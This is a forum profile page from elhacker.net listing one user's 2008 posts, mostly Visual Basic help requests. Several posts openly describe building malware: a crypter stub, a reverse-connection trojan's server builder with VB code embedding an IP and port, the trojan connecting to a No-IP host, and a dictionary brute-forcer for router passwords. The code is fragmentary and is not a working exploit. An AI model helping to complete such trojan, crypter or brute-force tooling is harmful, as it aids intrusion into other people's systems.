elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Curso de javascript por TickTack


  Mostrar Temas
Páginas: 1 2 3 4 5 6 7 8 [9] 10 11 12 13 14
81  Programación / Programación Visual Basic / Duda haciendo un crypter en: 26 Septiembre 2008, 17:09 pm
Hola. Estoy creando un pequeño crypter en VB y me surgió una duda. Si se supone que el stub ocupa 7kb, ¿por qué cuando cifro el ejecutable me sube más el tamaño?
Es decir, hice una prueba con un ejecutable de 28kb, lo encripté y en vez de quedarse en 35kb me subió a 70kb. ¿Alguien sabe por qué puede ser?

Gracias de antemano.
82  Media / Juegos y Consolas / Caracteres de contraseña en cuenta Steam en: 21 Septiembre 2008, 15:44 pm
Hola. No sé si esto debería ir aquí. De no ser así pido por favor al moderador que lo cambie de lugar. Quisiera saber que tipo de caracteres admite la contraseña de la cuenta de Steam.

Gracias de antemano.
83  Programación / Programación Visual Basic / Hacer Split desde una determinada posición en el texto en: 21 Septiembre 2008, 00:51 am
Hola. Quisiera saber como puedo hacer Split de un texto desde una determinada posición.

Gracias de antemano.
84  Programación / Programación Visual Basic / Problemas al leer el registro de Windows en: 20 Septiembre 2008, 13:39 pm
Hola. Estoy usando un módulo de clase que conseguí en RecursosVisualBasic que me permite modificar el registro. Las claves las crea perfectamente, pero no soy capaz de leerlas. Este es el código:

Código
  1. Option Explicit
  2.  
  3. 'Declaración de constantes
  4. '****************************
  5. Private Const REG_SZ As Long = 1
  6. Private Const REG_DWORD As Long = 4
  7.  
  8. Private Const ERROR_NONE = 0
  9. Private Const ERROR_BADDB = 1
  10. Private Const ERROR_BADKEY = 2
  11. Private Const ERROR_CANTOPEN = 3
  12. Private Const ERROR_CANTREAD = 4
  13. Private Const ERROR_CANTWRITE = 5
  14. Private Const ERROR_OUTOFMEMORY = 6
  15. Private Const ERROR_INVALID_PARAMETER = 7
  16. Private Const ERROR_ACCESS_DENIED = 8
  17. Private Const ERROR_INVALID_PARAMETERS = 87
  18. Private Const ERROR_NO_MORE_ITEMS = 259
  19. Private Const KEY_ALL_ACCESS = &H3F
  20. Private Const REG_OPTION_NON_VOLATILE = 0
  21.  
  22. 'Declaración de las funciones api para el registro
  23. '*************************************************
  24.  
  25. Private Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long
  26. Private Declare Function RegCreateKeyEx Lib "advapi32.dll" Alias "RegCreateKeyExA" _
  27.       (ByVal hKey As Long, _
  28.        ByVal lpSubKey As String, _
  29.        ByVal Reserved As Long, _
  30.        ByVal lpClass As String, _
  31.        ByVal dwOptions As Long, _
  32.        ByVal samDesired As Long, _
  33.        ByVal lpSecurityAttributes As Long, _
  34.        phkResult As Long, _
  35.        lpdwDisposition As Long) As Long
  36.  
  37. Private Declare Function RegOpenKeyEx Lib "advapi32.dll" Alias "RegOpenKeyExA" _
  38.       (ByVal hKey As Long, _
  39.        ByVal lpSubKey As String, _
  40.        ByVal ulOptions As Long, _
  41.        ByVal samDesired As Long, _
  42.        phkResult As Long) As Long
  43.  
  44. Private Declare Function RegQueryValueExString Lib "advapi32.dll" Alias "RegQueryValueExA" _
  45.       (ByVal hKey As Long, _
  46.        ByVal lpValueName As String, _
  47.        ByVal lpReserved As Long, _
  48.        lpType As Long, _
  49.        ByVal lpData As String, _
  50.        lpcbData As Long) As Long
  51.  
  52. Private Declare Function RegQueryValueExLong Lib "advapi32.dll" Alias "RegQueryValueExA" _
  53.       (ByVal hKey As Long, _
  54.        ByVal lpValueName As String, _
  55.        ByVal lpReserved As Long, _
  56.        lpType As Long, _
  57.        lpData As Long, _
  58.        lpcbData As Long) As Long
  59.  
  60. Private Declare Function RegQueryValueExNULL Lib "advapi32.dll" Alias "RegQueryValueExA" _
  61.       (ByVal hKey As Long, _
  62.        ByVal lpValueName As String, _
  63.        ByVal lpReserved As Long, _
  64.        lpType As Long, _
  65.        ByVal lpData As Long, _
  66.        lpcbData As Long) As Long
  67.  
  68. Private Declare Function RegSetValueExString Lib "advapi32.dll" Alias "RegSetValueExA" _
  69.        (ByVal hKey As Long, _
  70.         ByVal lpValueName As String, _
  71.         ByVal Reserved As Long, _
  72.         ByVal dwType As Long, _
  73.         ByVal lpValue As String, _
  74.         ByVal cbData As Long) As Long
  75. Private Declare Function RegSetValueExLong Lib "advapi32.dll" Alias _
  76.         "RegSetValueExA" (ByVal hKey As Long, _
  77.         ByVal lpValueName As String, _
  78.         ByVal Reserved As Long, _
  79.         ByVal dwType As Long, _
  80.         lpValue As Long, _
  81.         ByVal cbData As Long) As Long
  82.  
  83. Private Declare Function RegDeleteKey& Lib "advapi32.dll" Alias "RegDeleteKeyA" _
  84.        (ByVal hKey As Long, _
  85.         ByVal lpSubKey As String)
  86.  
  87. Private Declare Function RegDeleteValue& Lib "advapi32.dll" Alias "RegDeleteValueA" _
  88.        (ByVal hKey As Long, _
  89.         ByVal lpValueName As String)
  90.  
  91.  
  92. 'Funciones públicas para crear, eliminar, consultar los datos
  93. '****************************************************************
  94. ' Función que elimina una clave especifica utilizando el Api RegDeleteKey
  95. Public Function EliminarClave(clave As Long, Nombre_clave As String)
  96.    Dim ret As Long
  97.    ret = RegDeleteKey(clave, Nombre_clave)
  98. End Function
  99. ' Función que elimina un dato utilizando el Api RegDeleteValue
  100. Public Function EliminarValor(clave As Long, _
  101.                              Nombre_clave As String, _
  102.                              Nombre_valor As String)
  103.       Dim ret As Long
  104.       Dim Handle_clave As Long
  105.  
  106.       ' Abre la clave del registro
  107.       ret = RegOpenKeyEx(clave, Nombre_clave, 0, KEY_ALL_ACCESS, Handle_clave)
  108.       'Elimina el valor del registro
  109.       ret = RegDeleteValue(Handle_clave, Nombre_valor)
  110.       'Cierra la vlave del registro abierta
  111.       RegCloseKey (Handle_clave)
  112. End Function
  113.  
  114. ' Función que crea una nueva Clave utilizando el Api RegCreateKeyEx
  115. Public Function CrearNuevaClave(clave As Long, Nombre_clave As String)
  116.  
  117.    Dim Handle_clave As Long
  118.    Dim ret As Long
  119.  
  120.    ret = RegCreateKeyEx(clave, _
  121.                         Nombre_clave, 0&, vbNullString, _
  122.                         REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, 0&, _
  123.                         Handle_clave, ret)
  124.  
  125.    RegCloseKey (Handle_clave)
  126.  
  127. End Function
  128. ' Función que establece un nuevo valor mediante el Api SetValueEx
  129.  
  130. Public Function EstablecerValor(clave As Long, _
  131.                                Nombre_clave As String, _
  132.                                Nombre_valor As String, _
  133.                                el_Valor As Variant, _
  134.                                Tipo_Valor As Long)
  135.  
  136.  
  137.       Dim ret As Long
  138.       Dim Handle_clave As Long
  139.  
  140.       ret = RegOpenKeyEx(clave, Nombre_clave, 0, KEY_ALL_ACCESS, Handle_clave)
  141.       ret = SetValueEx(Handle_clave, Nombre_valor, Tipo_Valor, el_Valor)
  142.  
  143.       RegCloseKey (Handle_clave)
  144.  
  145. End Function
  146. ' Función que consulta un dato del registro usando QueryValueEx
  147. Public Function ConsultarValor(clave As Long, Nombre_clave As String, Nombre_valor As String)
  148.  
  149.       Dim Handle_clave As Long
  150.       Dim valor As Variant
  151.  
  152.       Dim ret As Long
  153.  
  154.       ret = RegOpenKeyEx(clave, Nombre_clave, 0, KEY_ALL_ACCESS, Handle_clave)
  155.  
  156.       ret = QueryValueEx(Handle_clave, Nombre_valor, valor)
  157.       ' REtorna el valor del registro a la función
  158.       ConsultarValor = valor
  159.       'Cierra la clave abierta del registro
  160.       RegCloseKey (Handle_clave)
  161. End Function
  162.  
  163. ' Funciones privadas del módulo
  164. Private Function SetValueEx(ByVal Handle_clave As Long, _
  165.                            Nombre_valor As String, _
  166.                            Tipo As Long, _
  167.                            el_Valor As Variant) As Long
  168.  
  169.    Dim ret As Long
  170.    Dim sValue As String
  171.  
  172.    Select Case Tipo
  173.  
  174.        ' Valor de tipo cadena
  175.        Case REG_SZ
  176.  
  177.            sValue = el_Valor
  178.            SetValueEx = RegSetValueExString(Handle_clave, _
  179.                                             Nombre_valor, 0&, _
  180.                                             Tipo, sValue, Len(sValue))
  181.  
  182.        'Valor Entero
  183.        Case REG_DWORD
  184.            ret = el_Valor
  185.            SetValueEx = RegSetValueExLong(Handle_clave, Nombre_valor, 0&, Tipo, ret, 4)
  186.        End Select
  187. End Function
  188. Private Function QueryValueEx(ByVal lhKey As Long, _
  189.                              ByVal Name_Valor As String, _
  190.                              el_Valor As Variant) As Long
  191.    Dim cch As Long
  192.    Dim lrc As Long
  193.    Dim Tipo As Long
  194.    Dim ret_Valor As Long
  195.    Dim dato As String
  196.    On Error GoTo QueryValueExError
  197.    lrc = RegQueryValueExNULL(lhKey, Name_Valor, 0&, Tipo, 0&, cch)
  198.    If lrc <> ERROR_NONE Then Error 5
  199.    Select Case Tipo
  200.        Case REG_SZ:
  201.            dato = String(cch, 0)
  202.            lrc = RegQueryValueExString(lhKey, Name_Valor, 0&, Tipo, dato, cch)
  203. If lrc = ERROR_NONE Then
  204.                el_Valor = Left$(dato, cch)
  205. Else
  206.                el_Valor = Empty
  207. End If
  208.        Case REG_DWORD:
  209.            lrc = RegQueryValueExLong(lhKey, Name_Valor, 0&, Tipo, ret_Valor, cch)
  210.            If lrc = ERROR_NONE Then el_Valor = ret_Valor
  211.        Case Else
  212.            lrc = -1
  213.    End Select
  214. QueryValueExExit:
  215.    QueryValueEx = lrc
  216.    Exit Function
  217. QueryValueExError:
  218.    Resume QueryValueExExit
  219. End Function

Yo utilizo:
Código
  1. MsgBox cRegistro.ConsultarValor(&H80000002, "SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\", "")

¿Alguien sabe por qué puede ser? Gracias de antemano.
85  Programación / Programación Visual Basic / Obtener datos de un ejecutable en: 17 Septiembre 2008, 22:49 pm
Hola. Estoy diseñando el editor de servidor de mi troyano. Al ser de conexión inversa, en el servidor tiene que figurar la dirección IP y el puerto al que se debe conectar. Utilizo este código para crearlo:

Código
  1. '#++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++#
  2. '    //CargarRes//
  3. '#++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++#
  4. '   Extraer archivo de los recursos.
  5. '#++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++#
  6. Public Sub CargarRes(NumRES As Integer, RutaCopy As String)
  7.    Dim File() As Byte
  8.    If Dir(RutaCopy) = "" Then
  9.        File = LoadResData(NumRES, "CUSTOM")
  10.        Open RutaCopy For Binary Access Write As #1
  11.            Put #1, , File
  12.        Close #1
  13.    End If
  14. End Sub
  15.  
  16. '#++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++#
  17. '    //cmdCrearServidor_Click//
  18. '#++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++#
  19. Private Sub cmdCrearServidor_Click()
  20.    If txtPuerto.Text > 65535 Then
  21.        MsgBox "El puerto debe ser inferior a 65535"
  22.        Exit Sub
  23.    End If
  24.    cd.Filter = "Archivos ejecutables|*.exe"
  25.    cd.DialogTitle = "Generar servidor..."
  26.    cd.ShowSave
  27.    Ruta = cd.FileName
  28.    Call CargarRes(102, cd.FileName)
  29.    Open Ruta For Binary As #1
  30.        Put #1, LOF(1) + 1, txtDireccionIP.Text
  31.        Put #1, , "|"
  32.        Put #1, , txtPuerto.Text
  33.    Close #1
  34. End Sub

Y este es el que lee los datos:

Código
  1. '#++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++#
  2. '    //LeerDatos//
  3. '#++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++#
  4. '   Leer datos del servidor.
  5. '#++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++#
  6. Dim DireccionIP As String * 15
  7. Dim Puerto As String * 5
  8. Dim Secuencia As String * 30
  9.  
  10. Public Function LeerDatos()
  11.    Dim Secuencia As String * 30
  12.    Open App.Path & "\" & App.EXEName & ".exe" For Binary As #1
  13.        Get #1, LOF(1) - 34, DireccionIP
  14.        Get #1, , Secuencia
  15.        Get #1, , Puerto
  16.    Close #1
  17.    MsgBox DireccionIP & "|" & Puerto
  18. End Function
  19.  

Pero no soy capaz de hacer que lea los datos. La caja de mensaje me aparece vacía. ¿Alguien me puede decir como lo hago?

Gracias de antemano.
86  Programación / Programación Visual Basic / [EDITADO] Creando downloader de vídeos en: 17 Septiembre 2008, 15:54 pm
Hola. Estoy creando un downloader de vídeos de YouTube. El problema que tengo es que no soy capaz de tratar el link del vídeo para su descarga. ¿Alguien podría decirme como hacerlo?

Gracias de antemano.
87  Informática / Software / Problema con grabadora de DVD en: 17 Septiembre 2008, 13:39 pm
Hola. Tengo una grabadora de DVD TSSTcorp CDDVDW TS-H653N. Antes tenía instalado Vista y me funcionaba perfectamente, pero lo desinstalé y puse XP. El problema es que ahora no puedo grabar DVDs, solo CDs. Estuve buscando los drivers para XP, pero no encuentro nada. ¿Alguien me podría ayudar?

Gracias de antemano.
88  Programación / Programación Visual Basic / Problemas al conectar con No-IP en: 17 Septiembre 2008, 02:08 am
Hola. Me hice una cuenta No-IP para que el servidor de mi troyano en VB se conectara a ella. Puse:

Código
  1. WS.Connect "nombredemihost.no-ip.org", 20024

El problema es que no me conecta. ¿Alguien podría decirme que debo hacer?

Gracias de antemano.
89  Programación / Programación Visual Basic / Detectar Windows Vista en: 13 Septiembre 2008, 02:58 am
Hola. Quisiera saber si la API GetVersionEx también detecta Windows Vista y en ese caso, como sería.

Gracias de antemano.
90  Programación / Programación Visual Basic / Fuerza bruta para contraseña de router en: 10 Septiembre 2008, 23:11 pm
Hola. Estoy intentando hacer un crackeador de contraseñas de router en VB. La idea sería: hay dos diccionarios (usuarios y contraseñas), se coge uno de cada diccionario, se introduce en la ventana que pide contraseña del Firefox y se acepta mediante SendKeys.

Estoy intentando hacerlo con SetWindowText, pero no me funciona. ¿Alguna idea?

Saludos.
Páginas: 1 2 3 4 5 6 7 8 [9] 10 11 12 13 14
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines